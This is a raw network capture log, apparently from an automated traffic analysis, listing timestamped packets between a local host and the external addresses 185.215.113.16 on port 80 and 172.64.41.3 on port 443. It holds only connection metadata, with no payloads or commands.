Nov 26, 2024 08:03:57.525866985 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.525947094 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.597372055 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.597431898 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.597465038 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.597490072 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.599797964 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.599811077 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.599845886 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.599869967 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.603374958 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.603426933 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.603450060 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.603487015 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.634308100 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.634366989 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.634442091 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.634496927 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.636110067 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.636162043 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.636225939 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.636266947 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.639724016 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.639770985 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.639844894 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.639883995 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.643245935 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.643256903 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.643301010 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.649133921 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.649188042 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.649269104 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.649310112 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.650399923 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.650521994 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.650551081 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.650629044 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.653868914 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.653928041 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.653975010 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.657279968 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.657351971 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.657406092 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.660671949 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.660725117 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.660769939 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.660810947 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.664278984 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.664290905 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.664335012 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.667604923 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.667615891 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.667675018 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.670984983 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.671034098 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.671044111 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.671077013 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.674380064 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.674443960 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.674489021 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.674539089 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.677829027 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.677872896 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.677902937 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.677957058 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.681231976 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.681277990 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.681334972 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.681395054 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.684706926 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.684787035 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.684828997 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.688097000 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.688159943 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.688170910 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.688206911 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.691517115 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.691560984 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.691627026 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.691664934 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.695182085 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.695193052 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.695231915 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.698467970 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.698561907 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.698596954 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.698610067 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.701802015 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.701925993 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.701927900 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.702023983 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.705236912 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.705288887 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.705317974 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.705355883 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.708710909 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.708781958 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.708857059 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.709017992 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.712151051 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.712202072 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.712229967 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.712261915 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.715559006 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.715604067 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.715672970 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.715720892 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.719036102 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.719047070 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.719094038 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.722385883 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.722441912 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.722476006 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.722609043 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.725826979 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.725887060 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.725919008 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.725961924 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.729351997 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.729362965 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.729409933 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.732686996 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.732734919 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.732738018 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.732779026 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.737787008 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.737797976 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.737885952 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.741820097 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.741873026 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.742012978 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.742064953 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.744158983 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.744169950 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.744235992 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.746416092 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.746427059 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.746471882 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.798671007 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.798690081 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.798749924 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.800219059 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.800239086 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.800268888 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.800282955 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.803523064 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.803544044 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.803589106 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.806529999 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.806587934 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.806734085 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.806783915 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.809603930 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.809664011 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.809693098 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.809727907 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.835681915 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.835743904 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.835860968 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.835911036 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.836877108 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.836929083 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.836957932 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.837037086 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.839229107 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.839270115 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.839278936 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.839315891 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.841679096 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.841738939 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.841810942 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.841859102 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.844031096 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.844163895 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.844177961 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.844219923 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.846340895 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.846437931 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.846474886 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.846541882 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.848727942 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.848776102 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.848831892 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.849061012 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.850980043 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.851032019 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.851090908 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.851133108 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.852581024 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.852593899 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.852629900 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.852649927 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.854120016 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.854163885 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.854170084 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.854237080 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.855504990 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.855572939 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.855607986 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.855649948 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.857086897 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.857096910 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.857158899 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.858486891 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.858576059 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.858618975 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.860074043 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.860086918 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.860138893 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.861673117 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.861852884 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.861887932 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.861928940 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.863055944 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.863066912 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.863110065 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.864685059 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.864748955 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.864758015 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.864800930 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.866054058 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.866066933 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.866105080 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.866123915 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.867598057 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.867659092 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.867727041 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.867789030 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.869152069 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.869230032 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.869257927 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.869293928 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.870452881 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.870501041 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.870578051 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.870623112 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.872061014 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.872072935 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.872128010 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.873481989 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.873492002 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.873538017 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.873550892 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.874840975 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.875016928 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.875067949 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.876364946 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.876418114 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.876502991 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.876548052 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.877974987 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.877985954 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.878026962 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.879359007 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.879403114 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.879434109 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.879477978 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.880764008 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.880810022 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.880845070 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.880887985 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.882200003 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.882251024 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.882297993 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.882344007 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.883761883 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.883771896 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.883811951 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.883837938 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.885183096 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.885276079 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.885314941 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.886631012 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.886795998 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.886826992 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.888082027 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.888148069 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.888180017 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.888220072 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.889539003 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.889597893 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.889622927 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.889662027 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.891007900 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.891073942 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.891241074 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.891293049 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.892532110 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.892580986 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.892646074 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.892682076 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.893964052 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.894007921 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.894058943 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.894100904 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.895529985 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.895541906 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.895581961 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.896919966 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.896975040 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.897008896 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.897095919 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.898385048 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.898499966 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.898547888 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.899869919 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.899909019 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.899940968 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.899976015 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.901439905 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.901451111 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.901484966 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.901503086 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.902802944 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.902862072 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.902981043 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.903031111 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.904258966 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.904303074 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.904350042 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.904381990 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.905762911 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.905816078 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.905854940 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.905889034 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.907198906 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.907250881 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.907272100 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.907319069 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.982640028 CET	443	49789	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:57.982819080 CET	443	49789	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:57.982898951 CET	49789	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:57.983155012 CET	443	49788	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:57.983228922 CET	443	49788	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:57.983282089 CET	49788	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:57.999974012 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:58.000021935 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:58.000051022 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:58.000070095 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:58.000685930 CET	80	49829	185.215.113.16	192.168.2.8
